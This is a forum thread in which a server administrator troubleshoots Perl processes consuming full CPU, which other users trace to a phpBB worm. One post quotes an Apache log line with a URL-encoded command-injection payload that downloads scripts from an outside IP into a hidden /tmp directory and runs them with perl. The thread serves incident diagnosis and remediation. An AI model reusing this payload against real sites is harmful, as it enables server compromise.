PERL used CPU 99% usage anyone have this problem too?

[cttsite]

my server always get running PERL 99% cpu usage
i try to reboot server, then is fine again wont see any perl running

but few hour go, it come agian
is that anywhere settle this problem?

thanks.

 

[netswitch]

smells like your box is hacked by script kiddies.

Check the content of your /tmp and /var/tmp folders for unwanted executables files...

 

[cttsite]

smells like your box is hacked by script kiddies.

Check the content of your /tmp and /var/tmp folders for unwanted executables files...

i cant see any unwanted executables files...
really need helps

 

[nobaloney]

Have you run chkrootkit?

http://www.chkrootkit.org

With many of the nastier exploits you won't see anything because the kernel has been modified to not let you see anything.

chkrootkit will warn you if that might be the case.

If you want volunteer help, then this is the right place to ask for it.

If you want commercial help, then either write to one or more of us who post here that we do DA administration work, or post a request under the Employment Opportunities forum.

Jeff

 

[cttsite]

i was found this access log from my apache log,
what this mean?
from localhost access to 61.85.234.215
is that mean user use LWP::Simple/5.79 to access?

127.0.0.1 - - [19/Apr/2005:15:22:45 +0800] "GET /?t=765&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"

 

[cttsite]

i have found this information from net
please some one tell me what it say?

http://www.phpbb2.de/archive/o_t__t_26542__cracker-tracker.html

 

[jmstacey]

It is a worm, older one at that.
Name: ssh.D.worm

http://lists.virus.org/full-disclosure-0412/msg00541.html

From what I can tell it's to hack phpBB 2.0.11 or something near that. Upgrading should protect you however there may still be a load caused by the script. Since it appears to be local, removing it should eliminate the load problem.

 

[jmstacey]

i have found this information from net
please some one tell me what it say?

http://www.phpbb2.de/archive/o_t__t_26542__cracker-tracker.html

Goto http://babelfish.altavista.com/babelfish/tr

Put the link you have in the appropriate box on that website and select to translate from German to English.

 

[cttsite]

ya, i also find this information too
now i request all my current custemer update to phpbb new version now

and i also will check log, check whos phpbb problem

thanks all ...

 

[damn]

my server always get running PERL 99% cpu usage
i try to reboot server, then is fine again wont see any perl running

but few hour go, it come agian
is that anywhere settle this problem?

thanks.

Are you using TOP to see this perl task pulling all your CPU usage?

If so, run "ps -aux" and see what tasks are at the top.

I am experiencing the same problem at the moment, and its related to spamd:

http://www.directadmin.com/forum/showthread.php?s=&threadid=7845